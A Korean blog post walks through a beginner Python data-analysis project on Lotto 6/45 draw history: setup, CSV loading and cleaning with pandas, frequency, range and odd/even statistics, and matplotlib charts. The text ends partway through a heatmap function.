&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;로또로 데이터 분석을 배워볼까?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025년 12월 27일, 나는 특이한 프로젝트를 시작했다. 로또 645의 과거 당첨 데이터를 분석하는 프로젝트. 물론 로또는 독립 시행이고, 과거 데이터가 미래를 보장하지 않는다는 것을 알고 있다. 하지만 이건 &lt;b&gt;로또를 맞추려는 게 아니라, 데이터를 읽는 연습&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;605회차의 데이터. 2014년 6월 7일부터 2025년 12월 27일까지. 약 11년간의 기록이 담긴 CSV 파일 하나. 이 파일에서 무엇을 읽어낼 수 있을까?&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  왜 로또 분석 프로젝트인가?&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;완벽한 학습 소재&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로또 데이터는 데이터 분석을 배우기에 완벽한 소재다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;구조가 명확하다&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회차, 날짜, 당첨번호 6개, 보너스 번호 1개&lt;/li&gt;
&lt;li&gt;1~45 사이의 정수 데이터&lt;/li&gt;
&lt;li&gt;결측치나 이상치가 거의 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;분석 목적이 다양하다&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기본 통계: 빈도, 평균, 분포&lt;/li&gt;
&lt;li&gt;시계열 분석: 트렌드, 패턴&lt;/li&gt;
&lt;li&gt;머신러닝: 분류, 추천&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;결과가 직관적이다&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;누구나 로또를 알고 있음&lt;/li&gt;
&lt;li&gt;시각화 결과를 쉽게 이해 가능&lt;/li&gt;
&lt;li&gt;실전 활용 가능성 (비록 확률은 낮지만)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;프로젝트 목표&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트의 진짜 목표는 세 가지다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;데이터 분석 파이프라인 구축&lt;/b&gt; - 수집, 전처리, 분석, 시각화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Python 데이터 분석 스택 숙달&lt;/b&gt; - pandas, numpy, matplotlib, seaborn&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실전 프로젝트 포트폴리오&lt;/b&gt; - 기획부터 배포까지 전 과정 기록&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ 기술 스택 선정&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Python 3.8+&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 분석의 표준 언어&lt;/li&gt;
&lt;li&gt;풍부한 라이브러리 생태계&lt;/li&gt;
&lt;li&gt;빠른 프로토타이핑&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;pandas 2.0&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DataFrame 기반 데이터 처리&lt;/li&gt;
&lt;li&gt;CSV 읽기/쓰기 간편&lt;/li&gt;
&lt;li&gt;강력한 데이터 전처리 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;matplotlib + seaborn&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;matplotlib: 세밀한 커스터마이징&lt;/li&gt;
&lt;li&gt;seaborn: 아름다운 기본 스타일&lt;/li&gt;
&lt;li&gt;한글 폰트 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;NumPy&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;고속 수치 연산&lt;/li&gt;
&lt;li&gt;배열 기반 데이터 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  개발 환경 구축&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 프로젝트 구조 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 고민은 프로젝트 구조였다. 단순한 분석 스크립트가 아니라, 확장 가능한 구조를 원했다.&lt;/p&gt;
&lt;pre class=&quot;capnproto&quot;&gt;&lt;code&gt;lotter645_1227/
├── Data/
│   └── 645_251227.csv        # 로또 데이터 (605회차)
├── src/
│   ├── data_loader.py        # 데이터 로딩 및 전처리
│   ├── basic_stats.py        # 기본 통계 분석
│   └── visualization.py      # 시각화
├── output/
│   ├── charts/               # 차트 저장 폴더
│   └── reports/              # 분석 리포트
├── requirements.txt          # 패키지 목록
└── README.md&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설계 원칙:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 모듈은 단일 책임 원칙(SRP) 준수&lt;/li&gt;
&lt;li&gt;클래스 기반 설계로 재사용성 확보&lt;/li&gt;
&lt;li&gt;입력(Data)과 출력(output) 분리&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 가상환경 설정&lt;/h3&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# 프로젝트 디렉토리 생성
mkdir lotter645_1227
cd lotter645_1227

# 가상환경 생성
python3 -m venv venv

# 가상환경 활성화
source venv/bin/activate  # macOS/Linux
# venv\Scripts\activate   # Windows

# pip 업그레이드
pip install --upgrade pip&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 필수 패키지 설치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;requirements.txt&lt;/code&gt; 작성:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# 데이터 처리
pandas&amp;gt;=2.0.0
numpy&amp;gt;=1.24.0

# 시각화
matplotlib&amp;gt;=3.7.0
seaborn&amp;gt;=0.12.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치:&lt;/p&gt;
&lt;pre class=&quot;cmake&quot;&gt;&lt;code&gt;pip install -r requirements.txt&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  데이터 로딩: 첫 번째 도전&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인코딩 문제와의 조우&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;data_loader.py&lt;/code&gt; 작성을 시작했다. 첫 번째 만난 문제는 &lt;b&gt;한글 인코딩&lt;/b&gt;이었다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 처음 시도 (실패)
df = pd.read_csv('Data/645_251227.csv')
# UnicodeDecodeError: 'utf-8' codec can't decode byte...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSV 파일이 &lt;code&gt;cp949&lt;/code&gt; 인코딩으로 저장되어 있었다. 환경에 따라 인코딩이 다를 수 있으니, 자동으로 처리하는 로직을 작성했다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;LottoDataLoader 클래스 설계&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;&quot;&quot;&quot;
로또 645 데이터 로더 및 전처리 모듈
&quot;&quot;&quot;
import pandas as pd
import numpy as np
from pathlib import Path


class LottoDataLoader:
    &quot;&quot;&quot;로또 데이터를 로드하고 전처리하는 클래스&quot;&quot;&quot;

    def __init__(self, data_path):
        &quot;&quot;&quot;
        Args:
            data_path: CSV 파일 경로
        &quot;&quot;&quot;
        self.data_path = Path(data_path)
        self.df = None
        self.numbers_df = None

    def load_data(self):
        &quot;&quot;&quot;CSV 데이터 로드 (인코딩 자동 처리)&quot;&quot;&quot;
        print(f&quot;데이터 로딩 중: {self.data_path}&quot;)

        try:
            # UTF-8 시도
            self.df = pd.read_csv(self.data_path, encoding='utf-8-sig', skiprows=1)
        except UnicodeDecodeError:
            # CP949로 재시도
            self.df = pd.read_csv(self.data_path, encoding='cp949', skiprows=1)

        print(f&quot;✓ 데이터 로드 완료: {len(self.df)}개 회차&quot;)
        return self.df&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;try-except&lt;/code&gt;로 인코딩 문제 자동 해결&lt;/li&gt;
&lt;li&gt;&lt;code&gt;skiprows=1&lt;/code&gt;: 첫 번째 행(깨진 헤더) 건너뛰기&lt;/li&gt;
&lt;li&gt;&lt;code&gt;utf-8-sig&lt;/code&gt;: BOM(Byte Order Mark) 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;데이터 전처리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로또 데이터에는 독특한 문제가 있었다. &lt;b&gt;숫자에 쉼표가 포함&lt;/b&gt;되어 있었다.&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;1등 당첨액: &quot;2,334,990,909&quot;  # 문자열&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 숫자로 변환하는 전처리 로직:&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;def preprocess(self):
    &quot;&quot;&quot;데이터 전처리&quot;&quot;&quot;
    print(&quot;\n데이터 전처리 중...&quot;)

    # 1. 쉼표 제거 및 숫자 변환
    numeric_columns = [
        '1등 당첨자수', '1등 당첨액', '2등 당첨자수', '2등 당첨액',
        '3등 당첨자수', '3등 당첨액', '4등 당첨자수', '4등 당첨액',
        '5등 당첨자수', '5등 당첨액'
    ]

    for col in numeric_columns:
        if col in self.df.columns:
            self.df[col] = (
                self.df[col]
                .astype(str)
                .str.replace(',', '')
                .astype(float)
            )

    # 2. 회차 숫자로 변환
    self.df['회차'] = pd.to_numeric(self.df['회차'], errors='coerce')

    # 3. 날짜 변환
    self.df['일자'] = pd.to_datetime(self.df['일자'], errors='coerce')

    # 4. 결측치 제거
    self.df = self.df.dropna(subset=['회차'])

    print(f&quot;✓ 전처리 완료&quot;)
    return self.df&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;pandas 체이닝 팁:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;zephir&quot;&gt;&lt;code&gt;# ❌ 비효율적
self.df[col] = self.df[col].astype(str)
self.df[col] = self.df[col].str.replace(',', '')
self.df[col] = self.df[col].astype(float)

# ✅ 효율적
self.df[col] = (
    self.df[col]
    .astype(str)
    .str.replace(',', '')
    .astype(float)
)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;당첨번호 추출&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로또 번호는 별도 데이터프레임으로 관리하는 것이 분석에 유리하다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;def extract_numbers(self):
    &quot;&quot;&quot;당첨번호 추출하여 별도 데이터프레임 생성&quot;&quot;&quot;
    print(&quot;당첨번호 추출 중...&quot;)

    numbers_data = []

    for idx, row in self.df.iterrows():
        round_num = row['회차']
        date = row['일자']

        # 당첨번호 6개
        winning_numbers = [
            int(row['당첨번호#1']),
            int(row['당첨번호#2']),
            int(row['당첨번호#3']),
            int(row['당첨번호#4']),
            int(row['당첨번호#5']),
            int(row['당첨번호#6'])
        ]

        # 보너스 번호
        bonus_number = int(row['당첨번호#7'])

        numbers_data.append({
            '회차': round_num,
            '일자': date,
            '당첨번호': winning_numbers,
            '보너스번호': bonus_number
        })

    self.numbers_df = pd.DataFrame(numbers_data)
    print(f&quot;✓ 당첨번호 추출 완료: {len(self.numbers_df)}개 회차&quot;)
    return self.numbers_df&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데이터 구조 설계:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;# 원본 df: 모든 정보 포함
# numbers_df: 당첨번호에 집중

numbers_df:
  회차  | 일자       | 당첨번호          | 보너스번호
  601  | 2014-06-07 | [1, 12, 21, ...]  | 9
  602  | 2014-06-14 | [3, 7, 19, ...]   | 22&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  기본 통계 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 로딩이 완료되면, 본격적인 분석을 시작할 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;BasicStats 클래스 설계&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;class BasicStats:
    &quot;&quot;&quot;기본 통계 분석 클래스&quot;&quot;&quot;

    def __init__(self, data_loader):
        self.loader = data_loader
        self.df = data_loader.df
        self.numbers_df = data_loader.numbers_df&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 번호별 출현 빈도&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 기본적이면서도 중요한 분석: &quot;어떤 번호가 가장 많이 나왔을까?&quot;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def number_frequency(self, include_bonus=False):
    &quot;&quot;&quot;번호별 출현 빈도 분석&quot;&quot;&quot;
    print(&quot;\n  번호별 출현 빈도 분석&quot;)
    print(&quot;=&quot; * 50)

    # 모든 번호를 1차원 리스트로 변환
    all_numbers = self.loader.get_all_numbers_flat(include_bonus)

    # 번호별 카운트
    from collections import Counter
    counter = Counter(all_numbers)

    # DataFrame으로 변환 및 정렬
    freq_df = pd.DataFrame(
        counter.items(),
        columns=['번호', '출현횟수']
    ).sort_values('출현횟수', ascending=False)

    # 출현율 계산
    total_count = len(all_numbers)
    freq_df['출현율(%)'] = (freq_df['출현횟수'] / total_count * 100).round(2)

    return freq_df&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;  번호별 출현 빈도 분석 (TOP 10)
==================================================
   번호  출현횟수  출현율(%)
0   12      97    16.09
1   33      96    15.92
2   21      94    15.59
3   16      94    15.59
4   38      92    15.26
5    6      92    15.26
6    7      92    15.26
7   18      91    15.09
8   19      90    14.93
9   13      89    14.76&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;12번이 가장 많이 나왔다 (97회)&lt;/li&gt;
&lt;li&gt;가장 적게 나온 번호는 5번 (64회)&lt;/li&gt;
&lt;li&gt;최대-최소 차이: 33회 (약 5.5% 차이)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;4470&quot; data-origin-height=&quot;1774&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GkcaA/dJMcaihJMYz/pP3zGOThrXY1JqOhcYWcOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GkcaA/dJMcaihJMYz/pP3zGOThrXY1JqOhcYWcOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GkcaA/dJMcaihJMYz/pP3zGOThrXY1JqOhcYWcOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGkcaA%2FdJMcaihJMYz%2FpP3zGOThrXY1JqOhcYWcOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4470&quot; height=&quot;1774&quot; data-origin-width=&quot;4470&quot; data-origin-height=&quot;1774&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;▲ 번호별 출현 빈도 차트 (빨간색: 최다, 회색: 최소, 초록 점선: 평균)&lt;/i&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 구간별 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1~45를 세 구간으로 나눠서 분석:&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def section_analysis(self):
    &quot;&quot;&quot;구간별 분석 (저/중/고)&quot;&quot;&quot;
    print(&quot;\n  구간별 분석&quot;)
    print(&quot;=&quot; * 50)

    all_numbers = self.loader.get_all_numbers_flat(include_bonus=False)

    # 구간 분류
    low = [n for n in all_numbers if 1 &amp;lt;= n &amp;lt;= 15]    # 저구간
    mid = [n for n in all_numbers if 16 &amp;lt;= n &amp;lt;= 30]   # 중구간
    high = [n for n in all_numbers if 31 &amp;lt;= n &amp;lt;= 45]  # 고구간

    total = len(all_numbers)

    results = {
        '저구간 (1-15)': (len(low), len(low)/total*100),
        '중구간 (16-30)': (len(mid), len(mid)/total*100),
        '고구간 (31-45)': (len(high), len(high)/total*100)
    }

    for section, (count, ratio) in results.items():
        print(f&quot;{section}: {count}회 ({ratio:.2f}%)&quot;)

    return results&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;  구간별 분석
==================================================
저구간 (1-15): 1,211회 (33.47%)
중구간 (16-30): 1,194회 (33.00%)
고구간 (31-45): 1,213회 (33.53%)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세 구간이 거의 균등하게 분포 (약 33%씩)&lt;/li&gt;
&lt;li&gt;로또 추첨의 공정성을 보여줌&lt;/li&gt;
&lt;li&gt;특정 구간 편향 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2488&quot; data-origin-height=&quot;2373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q1ciy/dJMcaf6nHVY/ypz2JOvGwVUHkGONl73MmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q1ciy/dJMcaf6nHVY/ypz2JOvGwVUHkGONl73MmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q1ciy/dJMcaf6nHVY/ypz2JOvGwVUHkGONl73MmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq1ciy%2FdJMcaf6nHVY%2Fypz2JOvGwVUHkGONl73MmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;589&quot; height=&quot;562&quot; data-origin-width=&quot;2488&quot; data-origin-height=&quot;2373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 구간별 번호 출현 분포 파이 차트 (저/중/고 구간)&lt;/i&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 홀짝 분석&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def odd_even_analysis(self):
    &quot;&quot;&quot;홀수/짝수 분석&quot;&quot;&quot;
    all_numbers = self.loader.get_all_numbers_flat(include_bonus=False)

    odd = [n for n in all_numbers if n % 2 == 1]
    even = [n for n in all_numbers if n % 2 == 0]

    print(f&quot;홀수: {len(odd)}회 ({len(odd)/len(all_numbers)*100:.2f}%)&quot;)
    print(f&quot;짝수: {len(even)}회 ({len(even)/len(all_numbers)*100:.2f}%)&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;홀수: 1,862회 (51.46%)
짝수: 1,756회 (48.54%)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;홀수가 약간 더 많이 출현 (약 3% 차이)&lt;/li&gt;
&lt;li&gt;하지만 통계적으로 유의미한 차이는 아님&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2267&quot; data-origin-height=&quot;2373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmOaEz/dJMcaaKLSit/em5TwGkLEETzGz5FvaEud0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmOaEz/dJMcaaKLSit/em5TwGkLEETzGz5FvaEud0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmOaEz/dJMcaaKLSit/em5TwGkLEETzGz5FvaEud0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmOaEz%2FdJMcaaKLSit%2Fem5TwGkLEETzGz5FvaEud0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;581&quot; height=&quot;608&quot; data-origin-width=&quot;2267&quot; data-origin-height=&quot;2373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 홀수/짝수 출현 분포 (거의 50:50)&lt;/i&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  시각화: 데이터를 그림으로&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자만 봐서는 재미가 없다. 시각화를 통해 데이터를 &lt;b&gt;이야기&lt;/b&gt;로 만들어야 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;matplotlib 한글 폰트 설정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 장벽: matplotlib는 기본적으로 한글을 지원하지 않는다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;import matplotlib.pyplot as plt
import matplotlib.font_manager as fm
import platform

# 한글 폰트 설정
def set_korean_font():
    &quot;&quot;&quot;운영체제별 한글 폰트 설정&quot;&quot;&quot;
    system = platform.system()

    if system == 'Darwin':  # macOS
        plt.rc('font', family='AppleGothic')
    elif system == 'Windows':
        plt.rc('font', family='Malgun Gothic')
    else:  # Linux
        plt.rc('font', family='NanumGothic')

    # 마이너스 기호 깨짐 방지
    plt.rc('axes', unicode_minus=False)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 번호별 출현 빈도 차트&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def plot_number_frequency(self, include_bonus=False):
    &quot;&quot;&quot;번호별 출현 빈도 막대 그래프&quot;&quot;&quot;
    freq_df = self.stats.number_frequency(include_bonus)

    plt.figure(figsize=(15, 6))

    # 막대 그래프
    bars = plt.bar(freq_df['번호'], freq_df['출현횟수'], color='skyblue')

    # 최다/최소 번호 강조
    max_freq = freq_df['출현횟수'].max()
    min_freq = freq_df['출현횟수'].min()

    for i, (num, freq) in enumerate(zip(freq_df['번호'], freq_df['출현횟수'])):
        if freq == max_freq:
            bars[i].set_color('red')
        elif freq == min_freq:
            bars[i].set_color('gray')

    # 평균선
    avg = freq_df['출현횟수'].mean()
    plt.axhline(y=avg, color='green', linestyle='--', label=f'평균: {avg:.1f}회')

    plt.xlabel('번호', fontsize=12)
    plt.ylabel('출현 횟수', fontsize=12)
    plt.title('로또 645 번호별 출현 빈도 (601~1203회)', fontsize=14, fontweight='bold')
    plt.legend()
    plt.grid(axis='y', alpha=0.3)
    plt.tight_layout()

    # 저장
    output_path = Path('output/charts/number_frequency.png')
    output_path.parent.mkdir(parents=True, exist_ok=True)
    plt.savefig(output_path, dpi=300, bbox_inches='tight')
    print(f&quot;✓ 차트 저장: {output_path}&quot;)
    plt.close()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시각화 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최다 번호: 빨간색&lt;/li&gt;
&lt;li&gt;최소 번호: 회색&lt;/li&gt;
&lt;li&gt;평균선: 초록 점선&lt;/li&gt;
&lt;li&gt;그리드: 가독성 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 구간별 분포 파이 차트&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;def plot_section_distribution(self):
    &quot;&quot;&quot;구간별 분포 파이 차트&quot;&quot;&quot;
    results = self.stats.section_analysis()

    labels = list(results.keys())
    counts = [v[0] for v in results.values()]
    colors = ['#ff9999', '#66b3ff', '#99ff99']

    plt.figure(figsize=(8, 8))
    plt.pie(
        counts,
        labels=labels,
        autopct='%1.1f%%',
        colors=colors,
        startangle=90,
        textprops={'fontsize': 12}
    )
    plt.title('구간별 번호 출현 분포', fontsize=14, fontweight='bold')
    plt.tight_layout()

    output_path = Path('output/charts/section_distribution.png')
    plt.savefig(output_path, dpi=300, bbox_inches='tight')
    print(f&quot;✓ 차트 저장: {output_path}&quot;)
    plt.close()&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 히트맵: 시간에 따른 번호 출현 패턴&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;def plot_heatmap(self):
    &quot;&quot;&quot;번호 출현 히트맵 (최근 100회)&quot;&quot;&quot;
    recent_df = self.numbers_df.tail(100)

    # 번호별 출현 여부 매트릭스 생성
    matrix = []
    for _, row in recent_df.iterrows():
        row_data = [1 if i in row['당첨번호'] else 0 for i in range(1, 46)]
        matrix.append(row_data)

    matrix = np.array(matrix).T  # 전치

    plt.figure(figsize=(20, 10))
    sns.heatmap(
        matrix,
        cmap='YlOrRd',
